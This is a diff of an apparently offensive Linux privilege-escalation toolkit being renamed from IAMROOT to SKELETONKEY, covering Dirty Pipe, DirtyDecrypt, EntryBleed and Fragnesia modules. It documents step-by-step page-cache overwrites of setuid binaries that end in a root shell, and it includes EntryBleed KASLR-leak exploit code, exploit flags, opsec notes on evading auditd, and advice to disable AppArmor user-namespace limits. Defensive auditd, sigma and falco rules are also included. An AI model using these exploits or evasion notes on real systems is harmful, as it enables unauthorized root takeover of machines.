" condition:\n"
|
||||
" $uid_flip\n"
|
||||
"}\n";
|
||||
|
||||
static const char dirty_pipe_falco[] =
|
||||
"- rule: Dirty Pipe splice from setuid/sensitive file by non-root\n"
|
||||
" desc: |\n"
|
||||
" A non-root process calls splice() with a fd pointing at a\n"
|
||||
" setuid-root binary or a credential file. The Dirty Pipe\n"
|
||||
" primitive (CVE-2022-0847) splices 1 byte from the target to\n"
|
||||
" a prepared pipe to inherit the stale PIPE_BUF_FLAG_CAN_MERGE,\n"
|
||||
" then writes attacker bytes that land in the file's page cache.\n"
|
||||
" condition: >\n"
|
||||
" evt.type = splice and not user.uid = 0 and\n"
|
||||
" (fd.name in (/etc/passwd, /etc/shadow, /etc/sudoers)\n"
|
||||
" or fd.name startswith /usr/bin/su\n"
|
||||
" or fd.name startswith /usr/bin/passwd\n"
|
||||
" or fd.name startswith /bin/su)\n"
|
||||
" output: >\n"
|
||||
" Dirty Pipe-style splice from sensitive file by non-root\n"
|
||||
" (user=%user.name proc=%proc.name fd=%fd.name pid=%proc.pid)\n"
|
||||
" priority: CRITICAL\n"
|
||||
" tags: [filesystem, mitre_privilege_escalation, T1068, cve.2022.0847]\n";
|
||||
|
||||
static const char dirty_pipe_sigma[] =
|
||||
"title: Possible Dirty Pipe exploitation (CVE-2022-0847)\n"
|
||||
"id: f6b13c08-iamroot-dirty-pipe\n"
|
||||
"id: f6b13c08-skeletonkey-dirty-pipe\n"
|
||||
"status: experimental\n"
|
||||
"logsource: {product: linux, service: auditd}\n"
|
||||
"detection:\n"
|
||||
@@ -435,7 +508,7 @@ static const char dirty_pipe_sigma[] =
|
||||
"level: high\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2022.0847]\n";
|
||||
|
||||
const struct iamroot_module dirty_pipe_module = {
|
||||
const struct skeletonkey_module dirty_pipe_module = {
|
||||
.name = "dirty_pipe",
|
||||
.cve = "CVE-2022-0847",
|
||||
.summary = "pipe_buffer CAN_MERGE flag inheritance → page-cache write",
|
||||
@@ -447,11 +520,13 @@ const struct iamroot_module dirty_pipe_module = {
|
||||
.cleanup = dirty_pipe_cleanup,
|
||||
.detect_auditd = dirty_pipe_auditd,
|
||||
.detect_sigma = dirty_pipe_sigma,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
.detect_yara = dirty_pipe_yara,
|
||||
.detect_falco = dirty_pipe_falco,
|
||||
.opsec_notes = "Creates a pipe, fills+drains to leave PIPE_BUF_FLAG_CAN_MERGE on every slot; finds the UID offset in /etc/passwd by parsing the file; splice(1 byte) from (target_offset-1) to inherit the stale flag, then write(pipe) with the all-zero payload - kernel merges into the file's page cache. Offset must be non-page-aligned and the write must fit in a single page. Audit-visible via splice(fd=/etc/passwd) + write from a non-root process. --active mode writes/reads /tmp/skeletonkey-dirty-pipe-probe-XXXXXX to verify. Cleanup callback evicts /etc/passwd via posix_fadvise + drop_caches.",
|
||||
.arch_support = "x86_64+unverified-arm64",
|
||||
};
|
||||
|
||||
void iamroot_register_dirty_pipe(void)
|
||||
void skeletonkey_register_dirty_pipe(void)
|
||||
{
|
||||
iamroot_register(&dirty_pipe_module);
|
||||
skeletonkey_register(&dirty_pipe_module);
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
/*
|
||||
* dirty_pipe_cve_2022_0847 — SKELETONKEY module registry hook
|
||||
*/
|
||||
|
||||
#ifndef DIRTY_PIPE_SKELETONKEY_MODULES_H
|
||||
#define DIRTY_PIPE_SKELETONKEY_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct skeletonkey_module dirty_pipe_module;
|
||||
|
||||
#endif
|
||||
@@ -0,0 +1,81 @@
|
||||
# dirtydecrypt — CVE-2026-31635
|
||||
|
||||
> 🟡 **PRIMITIVE / ported.** Faithful port of the public V12 PoC into
|
||||
> the `skeletonkey_module` interface. **Not yet validated end-to-end on
|
||||
> a vulnerable-kernel VM** — see _Verification status_ below.
|
||||
|
||||
## Summary
|
||||
|
||||
DirtyDecrypt (a.k.a. DirtyCBC) is a missing copy-on-write guard in
|
||||
`rxgk_decrypt_skb()` (`net/rxrpc/rxgk_common.h`). The function decrypts
|
||||
incoming rxgk socket buffers **in place** before the HMAC is verified.
|
||||
When the skb fragment pages are page-cache pages — spliced in via
|
||||
`MSG_SPLICE_PAGES` over loopback — the in-place AES decrypt corrupts the
|
||||
page cache of a read-only file.
|
||||
|
||||
It is a sibling of Copy Fail (CVE-2026-31431) and Dirty Frag
|
||||
(CVE-2026-43284 / 43500): same bug class, different kernel subsystem
|
||||
(rxgk / AFS-style rxrpc encryption rather than algif_aead or xfrm-ESP).
|
||||
|
||||
## Primitive
|
||||
|
||||
Each `fire()`:
|
||||
|
||||
1. Adds an `rxrpc` security key holding a crafted rxgk XDR token.
|
||||
2. Opens an `AF_RXRPC` client + a fake UDP server on loopback and
|
||||
completes the rxgk handshake.
|
||||
3. Forges a DATA packet whose **wire header comes from userspace** and
|
||||
whose **payload pages come from the target file's page cache**
|
||||
(`splice` + `vmsplice`).
|
||||
4. The kernel decrypts the spliced page-cache pages in place — the HMAC
|
||||
check then fails (expected), but the page cache is already mutated.
|
||||
|
||||
`pagecache_write()` drives a **sliding-window** technique: byte[0] of
|
||||
each corrupted 16-byte AES block is uniformly random (≈1/256 chance of
|
||||
the wanted value), and round _i+1_ at offset _S+i+1_ overwrites the
|
||||
15-byte collateral of round _i_ without disturbing the byte round _i_
|
||||
fixed. Net cost ≈ 256 fires per byte.
|
||||
|
||||
The exploit rewrites the first 120 bytes of a setuid-root binary
|
||||
(`/usr/bin/su` and friends) with a tiny ET_DYN ELF that calls
|
||||
`setuid(0)` + `execve("/bin/sh")`.
|
||||
|
||||
## Operations
|
||||
|
||||
| Op | Behaviour |
|
||||
|---|---|
|
||||
| `--scan` | Checks AF_RXRPC reachability + a readable setuid carrier. With `--active`, fires the primitive against a disposable `/tmp` file and reports VULNERABLE/OK empirically. |
|
||||
| `--exploit … --i-know` | Forks a child that corrupts the carrier's page cache and execs it for a root shell. `--no-shell` stops after the page-cache write. |
|
||||
| `--cleanup` | Evicts the carrier from the page cache (`POSIX_FADV_DONTNEED` + `drop_caches`). The on-disk binary is never written. |
|
||||
| `--detect-rules` | Emits embedded auditd + sigma rules. |
|
||||
|
||||
## Preconditions
|
||||
|
||||
- `AF_RXRPC` reachable (the `rxrpc` module loadable / built in).
|
||||
- A readable setuid-root binary to use as the payload carrier.
|
||||
- x86_64 (the embedded ELF payload is x86_64 shellcode).
|
||||
|
||||
## Verification status
|
||||
|
||||
This module is a **faithful port** of
|
||||
<https://github.com/v12-security/pocs/tree/main/dirtydecrypt>, compiled
|
||||
into the SKELETONKEY module interface. The **exploit body** has not
|
||||
been validated end-to-end against a known-vulnerable kernel inside the
|
||||
SKELETONKEY CI matrix.
|
||||
|
||||
**`detect()` is now version-pinned** against the mainline fix commit
|
||||
[`a2567217ade970ecc458144b6be469bc015b23e5`][fix] (Linux 7.0): kernels
|
||||
< 7.0 predate the vulnerable rxgk RESPONSE-handling code (Debian
|
||||
tracker confirms older stable branches as <not-affected, vulnerable
|
||||
code not present>), kernels ≥ 7.0 have the fix. With `--active`, the
|
||||
detector runs the rxgk primitive against a `/tmp` sentinel and reports
|
||||
empirically — catches pre-fix 7.0-rc kernels and any distro rebuilds
|
||||
the version check misses.
|
||||
|
||||
[fix]: https://git.kernel.org/linus/a2567217ade970ecc458144b6be469bc015b23e5
|
||||
|
||||
**Before promoting to 🟢:** validate the exploit end-to-end on a 7.0-rc
|
||||
kernel that pre-dates commit `a2567217ade…`. The Debian tracker entry
|
||||
for CVE-2026-31635 is the source of truth for branch-backport
|
||||
thresholds; extend the `kernel_range` table when distros publish
|
||||
stable backports.
|
||||
@@ -0,0 +1,47 @@
|
||||
# NOTICE — dirtydecrypt
|
||||
|
||||
## Vulnerability
|
||||
|
||||
**CVE-2026-31635** — "DirtyDecrypt" / "DirtyCBC". Missing copy-on-write
|
||||
guard in `rxgk_decrypt_skb()` (`net/rxrpc/rxgk_common.h`). The function
|
||||
calls `skb_to_sgvec()` then `crypto_krb5_decrypt()` with no
|
||||
`skb_cow_data()`; the `krb5enc` AEAD template (`crypto/krb5enc.c`)
|
||||
decrypts **in place** before verifying the HMAC. When the skb fragment
|
||||
pages are page-cache pages (spliced in via `MSG_SPLICE_PAGES` over
|
||||
loopback), the in-place decrypt corrupts the page cache of a read-only
|
||||
file. The same pattern exists in rxkad (`rxkad_verify_packet_2`).
|
||||
|
||||
Sibling of Copy Fail (CVE-2026-31431) and Dirty Frag
|
||||
(CVE-2026-43284 / CVE-2026-43500) — all are page-cache write
|
||||
primitives that abuse a missing COW boundary.
|
||||
|
||||
## Research credit
|
||||
|
||||
Discovered and reported by **Zellic** and the **V12 security** team.
|
||||
Public proof-of-concept by **Luna Tong** ("cts" / "gf_256") of the
|
||||
V12 security team.
|
||||
|
||||
> Reference PoC: <https://github.com/v12-security/pocs/tree/main/dirtydecrypt>
|
||||
|
||||
The upstream PoC file (`poc.c`) carries no author, project, or
|
||||
`LICENSE` header of its own — its header is a purely technical
|
||||
description of the bug. The credit above is from the public
|
||||
disclosure, not from the file. CVE-2026-31635 was assigned for the
|
||||
flaw; its fix commit is not pinned in this module (see below).
|
||||
|
||||
## SKELETONKEY role
|
||||
|
||||
`skeletonkey_modules.c` is a port of the V12 PoC into the
|
||||
`skeletonkey_module` interface. The exploit primitive — the
|
||||
`fire()` / `pagecache_write()` sliding-window machinery, the rxgk XDR
|
||||
token builder, the 120-byte ET_DYN ELF payload — is reproduced from
|
||||
that PoC. SKELETONKEY adds the detect/cleanup lifecycle, an `--active`
|
||||
sentinel probe, `--no-shell` support, and the embedded detection
|
||||
rules. Research credit belongs to the people above.
|
||||
|
||||
## Verification status
|
||||
|
||||
**Ported, not yet validated end-to-end on a vulnerable-kernel VM.**
|
||||
The CVE-2026-31635 fix commit is not yet pinned in this module, so
|
||||
`detect()` does not perform a kernel-version patched/vulnerable
|
||||
verdict — see `MODULE.md`.
|
||||
@@ -0,0 +1,28 @@
|
||||
# DirtyDecrypt (CVE-2026-31635) — auditd detection rules
|
||||
#
|
||||
# The rxgk in-place decrypt corrupts the page cache of a read-only
|
||||
# file. These rules flag the syscall surface the exploit drives and
|
||||
# writes to the setuid binaries it targets.
|
||||
#
|
||||
# Install: copy into /etc/audit/rules.d/ and `augenrules --load`, or
|
||||
# skeletonkey --detect-rules --format=auditd | sudo tee \
|
||||
# /etc/audit/rules.d/99-skeletonkey.rules
|
||||
|
||||
# Modification of common payload carriers / credential files
|
||||
-w /usr/bin/su -p wa -k skeletonkey-dirtydecrypt
|
||||
-w /bin/su -p wa -k skeletonkey-dirtydecrypt
|
||||
-w /usr/bin/mount -p wa -k skeletonkey-dirtydecrypt
|
||||
-w /usr/bin/passwd -p wa -k skeletonkey-dirtydecrypt
|
||||
-w /usr/bin/chsh -p wa -k skeletonkey-dirtydecrypt
|
||||
-w /etc/passwd -p wa -k skeletonkey-dirtydecrypt
|
||||
-w /etc/shadow -p wa -k skeletonkey-dirtydecrypt
|
||||
|
||||
# AF_RXRPC socket creation (family 33) — core of the rxgk trigger
|
||||
-a always,exit -F arch=b64 -S socket -F a0=33 -k skeletonkey-dirtydecrypt-rxrpc
|
||||
|
||||
# rxrpc security keys added to the process keyring
|
||||
-a always,exit -F arch=b64 -S add_key -k skeletonkey-dirtydecrypt-key
|
||||
|
||||
# splice() drives page-cache pages into the forged DATA packet
|
||||
-a always,exit -F arch=b64 -S splice -k skeletonkey-dirtydecrypt-splice
|
||||
-a always,exit -F arch=b32 -S splice -k skeletonkey-dirtydecrypt-splice
|
||||
@@ -0,0 +1,32 @@
|
||||
title: Possible DirtyDecrypt exploitation (CVE-2026-31635)
|
||||
id: 7c1e9a40-skeletonkey-dirtydecrypt
|
||||
status: experimental
|
||||
description: |
|
||||
Detects the file-modification footprint of the rxgk page-cache write
|
||||
(DirtyDecrypt / DirtyCBC, CVE-2026-31635): non-root creation of
|
||||
AF_RXRPC sockets followed by modification of a setuid-root binary or
|
||||
a credential file.
|
||||
references:
|
||||
- https://github.com/v12-security/pocs/tree/main/dirtydecrypt
|
||||
logsource:
|
||||
product: linux
|
||||
service: auditd
|
||||
detection:
|
||||
modification:
|
||||
type: 'PATH'
|
||||
name|startswith:
|
||||
- '/usr/bin/su'
|
||||
- '/bin/su'
|
||||
- '/usr/bin/mount'
|
||||
- '/usr/bin/passwd'
|
||||
- '/usr/bin/chsh'
|
||||
- '/etc/passwd'
|
||||
- '/etc/shadow'
|
||||
not_root:
|
||||
auid|expression: '!= 0'
|
||||
condition: modification and not_root
|
||||
level: high
|
||||
tags:
|
||||
- attack.privilege_escalation
|
||||
- attack.t1068
|
||||
- cve.2026.31635
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,12 @@
|
||||
/*
|
||||
* dirtydecrypt_cve_2026_31635 — SKELETONKEY module registry hook
|
||||
*/
|
||||
|
||||
#ifndef DIRTYDECRYPT_SKELETONKEY_MODULES_H
|
||||
#define DIRTYDECRYPT_SKELETONKEY_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct skeletonkey_module dirtydecrypt_module;
|
||||
|
||||
#endif
|
||||
@@ -45,7 +45,7 @@ There is no single canonical patch. Partial mitigations include:
|
||||
- Lift the proven EntryBleed code from
|
||||
`SKYFALL/bugs/leak_write_modprobe_2026-05-16/exploit.c` into
|
||||
`module.c` here
|
||||
- Expose as both a CLI mode (`iamroot --leak-kbase`) and as a
|
||||
- Expose as both a CLI mode (`skeletonkey --leak-kbase`) and as a
|
||||
library helper (`uint64_t entrybleed_leak_kbase(void)`)
|
||||
- Detection rules: timing-attack pattern flags, perf-counter
|
||||
anomaly detection (informational — these are hard to make precise
|
||||
|
||||
@@ -0,0 +1,23 @@
|
||||
# NOTICE — entrybleed
|
||||
|
||||
## Vulnerability
|
||||
|
||||
**CVE-2023-0458** — KPTI `prefetchnta` timing side-channel leaks the
|
||||
kernel base address (KASLR bypass).
|
||||
|
||||
## Research credit
|
||||
|
||||
Discovered by **Will Findlay**. Formally presented at USENIX Security '23:
|
||||
|
||||
> "EntryBleed: A Universal KASLR Bypass against KPTI on Linux"
|
||||
> Bert Jan Schijf, Cristiano Giuffrida — USENIX Security 2023
|
||||
|
||||
Mainline status: no canonical patch — partial mitigations only.
|
||||
|
||||
## SKELETONKEY role
|
||||
|
||||
This is a **stage-1 leak primitive**, not a standalone LPE. Other
|
||||
modules can call `entrybleed_leak_kbase_lib()` to obtain a KASLR
|
||||
slide and feed it to the offset resolver in `core/offsets.c`. x86_64
|
||||
only; the `entry_SYSCALL_64` slot offset is configurable via the
|
||||
`SKELETONKEY_ENTRYBLEED_OFFSET` env var.
|
||||
+43
-47
@@ -1,5 +1,5 @@
|
||||
/*
|
||||
* entrybleed_cve_2023_0458 — IAMROOT module
|
||||
* entrybleed_cve_2023_0458 — SKELETONKEY module
|
||||
*
|
||||
* EntryBleed (Lipp et al., USENIX Security '23). A KPTI prefetchnta
|
||||
* timing side-channel that leaks the kernel base address.
|
||||
@@ -13,10 +13,10 @@
|
||||
* anti-EntryBleed mitigation = VULNERABLE.
|
||||
* - This module is also a LIBRARY: other modules that need a kbase
|
||||
* leak as part of a chain can call `entrybleed_leak_kbase_lib()`
|
||||
* directly (declared in iamroot_modules.h).
|
||||
* directly (declared in skeletonkey_modules.h).
|
||||
*
|
||||
* x86_64 only. On ARM64 / other arches, detect() returns
|
||||
* IAMROOT_PRECOND_FAIL and exploit() returns IAMROOT_PRECOND_FAIL.
|
||||
* SKELETONKEY_PRECOND_FAIL and exploit() returns SKELETONKEY_PRECOND_FAIL.
|
||||
*
|
||||
* For users who'd never go to USENIX (TLDR):
|
||||
* - KPTI unmaps kernel pages from user CR3 on kernel-exit, but leaves
|
||||
@@ -30,8 +30,9 @@
|
||||
* - Subtract its known offset from kbase → KASLR slide
|
||||
*/
|
||||
|
||||
#include "iamroot_modules.h"
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
#include "../../core/host.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdint.h>
|
||||
@@ -108,45 +109,38 @@ unsigned long entrybleed_leak_kbase_lib(unsigned long entry_syscall_slot_offset)
|
||||
return (unsigned long)best_base;
|
||||
}
|
||||
|
||||
static int read_first_line(const char *path, char *out, size_t n)
|
||||
{
|
||||
FILE *f = fopen(path, "r");
|
||||
if (!f) return -1;
|
||||
if (!fgets(out, n, f)) { fclose(f); return -1; }
|
||||
fclose(f);
|
||||
/* trim trailing newline */
|
||||
size_t L = strlen(out);
|
||||
while (L && (out[L-1] == '\n' || out[L-1] == '\r')) out[--L] = 0;
|
||||
return 0;
|
||||
}
|
||||
/* (read_first_line() removed — meltdown status now comes from
|
||||
* ctx->host->meltdown_mitigation, populated once at startup in
|
||||
* core/host.c. One file open across the corpus instead of per-detect.) */
|
||||
|
||||
static iamroot_result_t entrybleed_detect(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t entrybleed_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
/* Probe KPTI status. /sys/devices/system/cpu/vulnerabilities/meltdown
|
||||
* is the most direct signal: "Mitigation: PTI" means KPTI is on
|
||||
* (= EntryBleed-applicable). "Not affected" means a hardened CPU
|
||||
* (very recent Intel + most AMD = no KPTI = no EntryBleed). */
|
||||
char buf[256];
|
||||
int rc = read_first_line(
|
||||
"/sys/devices/system/cpu/vulnerabilities/meltdown", buf, sizeof buf);
|
||||
if (rc < 0) {
|
||||
/* KPTI status comes from the shared host fingerprint
|
||||
* (ctx->host->meltdown_mitigation) — populated once at startup by
|
||||
* reading /sys/devices/system/cpu/vulnerabilities/meltdown. The
|
||||
* raw string is preserved (not just the kpti_enabled bool) so we
|
||||
* can distinguish "Not affected" (CPU immune; OK) from
|
||||
* "Mitigation: PTI" / "Vulnerable" (KPTI on; vulnerable to
|
||||
* EntryBleed) without re-reading sysfs. */
|
||||
const char *meltdown = ctx->host ? ctx->host->meltdown_mitigation : "";
|
||||
if (meltdown[0] == '\0') {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[?] entrybleed: cannot read meltdown vuln status — "
|
||||
fprintf(stderr, "[?] entrybleed: meltdown vuln status unknown — "
|
||||
"assuming KPTI on (conservative)\n");
|
||||
}
|
||||
return IAMROOT_VULNERABLE;
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
}
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[i] entrybleed: meltdown status = '%s'\n", buf);
|
||||
fprintf(stderr, "[i] entrybleed: meltdown status = '%s'\n", meltdown);
|
||||
}
|
||||
|
||||
/* "Not affected" → CPU is Meltdown-immune → no KPTI → no EntryBleed */
|
||||
if (strstr(buf, "Not affected") != NULL) {
|
||||
if (strstr(meltdown, "Not affected") != NULL) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] entrybleed: CPU is Meltdown-immune; KPTI off; "
|
||||
"EntryBleed N/A\n");
|
||||
}
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
/* "Mitigation: PTI" or "Vulnerable" or similar — KPTI is most likely
|
||||
@@ -178,7 +172,7 @@ static iamroot_result_t entrybleed_detect(const struct iamroot_ctx *ctx)
|
||||
fprintf(stderr, "[!] entrybleed: ACTIVE PROBE CONFIRMED — "
|
||||
"leak yields plausible kbase 0x%lx\n", kbase);
|
||||
}
|
||||
return IAMROOT_VULNERABLE;
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
}
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] entrybleed: active probe returned implausible kbase "
|
||||
@@ -186,9 +180,9 @@ static iamroot_result_t entrybleed_detect(const struct iamroot_ctx *ctx)
|
||||
}
|
||||
/* Implausible probe result. Either the entry_SYSCALL_64 slot
|
||||
* offset doesn't match lts-6.12.x default (different kernel
|
||||
* build) — user should set IAMROOT_ENTRYBLEED_OFFSET — or
|
||||
* build) — user should set SKELETONKEY_ENTRYBLEED_OFFSET — or
|
||||
* timing is too noisy. Don't claim CONFIRMED. */
|
||||
return IAMROOT_TEST_ERROR;
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
if (!ctx->json) {
|
||||
@@ -197,21 +191,21 @@ static iamroot_result_t entrybleed_detect(const struct iamroot_ctx *ctx)
|
||||
fprintf(stderr, "[i] entrybleed: --exploit will leak kbase (harmless leak; "
|
||||
"no /etc/passwd writes)\n");
|
||||
}
|
||||
return IAMROOT_VULNERABLE;
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
}
|
||||
|
||||
static iamroot_result_t entrybleed_exploit(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t entrybleed_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
const char *off_env = getenv("IAMROOT_ENTRYBLEED_OFFSET");
|
||||
const char *off_env = getenv("SKELETONKEY_ENTRYBLEED_OFFSET");
|
||||
unsigned long off = 0;
|
||||
if (off_env) {
|
||||
off = strtoul(off_env, NULL, 0);
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[i] entrybleed: using IAMROOT_ENTRYBLEED_OFFSET=0x%lx\n", off);
|
||||
fprintf(stderr, "[i] entrybleed: using SKELETONKEY_ENTRYBLEED_OFFSET=0x%lx\n", off);
|
||||
}
|
||||
} else if (!ctx->json) {
|
||||
fprintf(stderr, "[i] entrybleed: using default entry_SYSCALL_64 slot offset "
|
||||
"0x%lx (lts-6.12.x). Override via IAMROOT_ENTRYBLEED_OFFSET=0x...\n",
|
||||
"0x%lx (lts-6.12.x). Override via SKELETONKEY_ENTRYBLEED_OFFSET=0x...\n",
|
||||
DEFAULT_ENTRY_OFF);
|
||||
}
|
||||
|
||||
@@ -223,7 +217,7 @@ static iamroot_result_t entrybleed_exploit(const struct iamroot_ctx *ctx)
|
||||
unsigned long kbase = entrybleed_leak_kbase_lib(off);
|
||||
if (kbase == 0) {
|
||||
fprintf(stderr, "[-] entrybleed: leak failed (kbase == 0)\n");
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
if (ctx->json) {
|
||||
@@ -233,7 +227,7 @@ static iamroot_result_t entrybleed_exploit(const struct iamroot_ctx *ctx)
|
||||
fprintf(stderr, "[+] entrybleed: KASLR slide = 0x%lx (relative to 0xffffffff81000000)\n",
|
||||
kbase - 0xffffffff81000000UL);
|
||||
}
|
||||
return IAMROOT_EXPLOIT_OK;
|
||||
return SKELETONKEY_EXPLOIT_OK;
|
||||
}
|
||||
|
||||
#else /* not x86_64 */
|
||||
@@ -244,19 +238,19 @@ unsigned long entrybleed_leak_kbase_lib(unsigned long off)
|
||||
return 0;
|
||||
}
|
||||
|
||||
static iamroot_result_t entrybleed_detect(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t entrybleed_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
fprintf(stderr, "[i] entrybleed: x86_64 only; this build is for a "
|
||||
"different architecture\n");
|
||||
return IAMROOT_PRECOND_FAIL;
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
static iamroot_result_t entrybleed_exploit(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t entrybleed_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
fprintf(stderr, "[-] entrybleed: x86_64 only\n");
|
||||
return IAMROOT_PRECOND_FAIL;
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
#endif
|
||||
@@ -268,7 +262,7 @@ static iamroot_result_t entrybleed_exploit(const struct iamroot_ctx *ctx)
|
||||
* Ship a Sigma note describing this; auditd rule intentionally omitted. */
|
||||
static const char entrybleed_sigma[] =
|
||||
"title: EntryBleed-style KPTI timing side-channel (CVE-2023-0458)\n"
|
||||
"id: 7b3a48d1-iamroot-entrybleed\n"
|
||||
"id: 7b3a48d1-skeletonkey-entrybleed\n"
|
||||
"status: experimental\n"
|
||||
"description: |\n"
|
||||
" EntryBleed leaks kbase via prefetchnta timing against entry_SYSCALL_64.\n"
|
||||
@@ -280,7 +274,7 @@ static const char entrybleed_sigma[] =
|
||||
"level: informational\n"
|
||||
"tags: [attack.discovery, attack.t1082, cve.2023.0458]\n";
|
||||
|
||||
const struct iamroot_module entrybleed_module = {
|
||||
const struct skeletonkey_module entrybleed_module = {
|
||||
.name = "entrybleed",
|
||||
.cve = "CVE-2023-0458",
|
||||
.summary = "KPTI prefetchnta timing side-channel → kbase leak (stage-1)",
|
||||
@@ -294,9 +288,11 @@ const struct iamroot_module entrybleed_module = {
|
||||
.detect_sigma = entrybleed_sigma,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
.opsec_notes = "Pure timing side-channel: rdtsc + prefetchnta sweep across the kernel high-half (~16 MiB) to time which 2 MiB page is mapped (entry_SYSCALL_64) and subtract its known offset from kbase. No syscalls fired, no file artifacts, no network. Classic auditd cannot see it; perf-counter EDR can flag a process spending unusual time in tight prefetchnta loops but classic rules will not. No cleanup needed.",
|
||||
.arch_support = "x86_64",
|
||||
};
|
||||
|
||||
void iamroot_register_entrybleed(void)
|
||||
void skeletonkey_register_entrybleed(void)
|
||||
{
|
||||
iamroot_register(&entrybleed_module);
|
||||
skeletonkey_register(&entrybleed_module);
|
||||
}
|
||||
+4
-4
@@ -1,13 +1,13 @@
|
||||
/*
|
||||
* entrybleed_cve_2023_0458 — IAMROOT module registry hook
|
||||
* entrybleed_cve_2023_0458 — SKELETONKEY module registry hook
|
||||
*/
|
||||
|
||||
#ifndef ENTRYBLEED_IAMROOT_MODULES_H
|
||||
#define ENTRYBLEED_IAMROOT_MODULES_H
|
||||
#ifndef ENTRYBLEED_SKELETONKEY_MODULES_H
|
||||
#define ENTRYBLEED_SKELETONKEY_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct iamroot_module entrybleed_module;
|
||||
extern const struct skeletonkey_module entrybleed_module;
|
||||
|
||||
/* Library entry point for other modules that need a kbase leak.
|
||||
* Returns the leaked kernel _text base on success, or 0 on failure
|
||||
@@ -0,0 +1,87 @@
|
||||
# fragnesia — CVE-2026-46300
|
||||
|
||||
> 🟡 **PRIMITIVE / ported.** Faithful port of the public V12 PoC into
|
||||
> the `skeletonkey_module` interface. **Not yet validated end-to-end on
|
||||
> a vulnerable-kernel VM** — see _Verification status_ below.
|
||||
|
||||
## Summary
|
||||
|
||||
Fragnesia ("Fragment Amnesia") is an XFRM ESP-in-TCP local privilege
|
||||
escalation. `skb_try_coalesce()` fails to propagate the
|
||||
`SKBFL_SHARED_FRAG` marker when moving paged fragments between socket
|
||||
buffers — so the kernel forgets that a fragment is externally backed by
|
||||
page-cache pages spliced in from a file. The ESP-in-TCP receive path
|
||||
then decrypts in place, corrupting the page cache of a read-only file.
|
||||
|
||||
Fragnesia is a **latent bug exposed by the Dirty Frag fix**: the
|
||||
candidate patch cites the Dirty Frag remediation (`f4c50a4034e6`) as a
|
||||
commit it "fixes". It is the same page-cache-write bug class as Copy
|
||||
Fail / Dirty Frag, reached through a different code path.
|
||||
|
||||
## Primitive
|
||||
|
||||
1. Build a 256-entry **AES-GCM keystream-byte table** via `AF_ALG`
|
||||
`ecb(aes)` — for any wanted output byte, this yields the ESP IV
|
||||
whose keystream byte XORs the current byte to the target.
|
||||
2. Enter a mapped **user namespace** + **network namespace**, bring
|
||||
loopback up, and install an XFRM **ESP-in-TCP** state
|
||||
(`rfc4106(gcm(aes))`, `TCP_ENCAP_ESPINTCP`).
|
||||
3. A **receiver** accepts a loopback TCP connection and flips it to the
|
||||
`espintcp` ULP; a **sender** `splice()`s page-cache pages of the
|
||||
target file into that TCP stream behind a crafted ESP prefix.
|
||||
4. The coalesce bug makes the kernel decrypt the spliced page-cache
|
||||
pages in place — one chosen byte per trigger.
|
||||
|
||||
The exploit rewrites the first 192 bytes of a setuid-root binary
|
||||
(`/usr/bin/su` and friends) with an ET_DYN ELF that drops privileges to
|
||||
0 and `execve`s `/bin/sh`.
|
||||
|
||||
## Operations
|
||||
|
||||
| Op | Behaviour |
|
||||
|---|---|
|
||||
| `--scan` | Checks unprivileged-userns availability + a readable setuid carrier ≥ 4096 bytes. With `--active`, runs the full ESP-in-TCP primitive against a disposable `/tmp` file and reports VULNERABLE/OK empirically. |
|
||||
| `--exploit … --i-know` | Forks a child that places the payload into the carrier's page cache and execs it for a root shell. `--no-shell` stops after the page-cache write. |
|
||||
| `--cleanup` | Evicts the carrier from the page cache. The on-disk binary is never written. |
|
||||
| `--detect-rules` | Emits embedded auditd + sigma rules. |
|
||||
|
||||
## Preconditions
|
||||
|
||||
- **Unprivileged user namespaces enabled.** On Ubuntu, AppArmor blocks
|
||||
this by default — `sysctl kernel.apparmor_restrict_unprivileged_userns=0`
|
||||
(or chain a separate bypass). This is the scoping question the old
|
||||
`_stubs/fragnesia_TBD` raised; the module ships and reports
|
||||
`PRECOND_FAIL` cleanly when the userns gate is closed.
|
||||
- `CONFIG_INET_ESPINTCP` built into the kernel.
|
||||
- A readable setuid-root binary ≥ 4096 bytes as the payload carrier.
|
||||
- x86_64 (the embedded ELF payload is x86_64 shellcode).
|
||||
|
||||
## Port notes
|
||||
|
||||
The upstream PoC renders a full-screen ANSI "smash frame" TUI
|
||||
(`draw_smash_frame` + terminal scroll-region escapes). That is **not**
|
||||
ported — it cannot coexist with a shared multi-module dispatcher.
|
||||
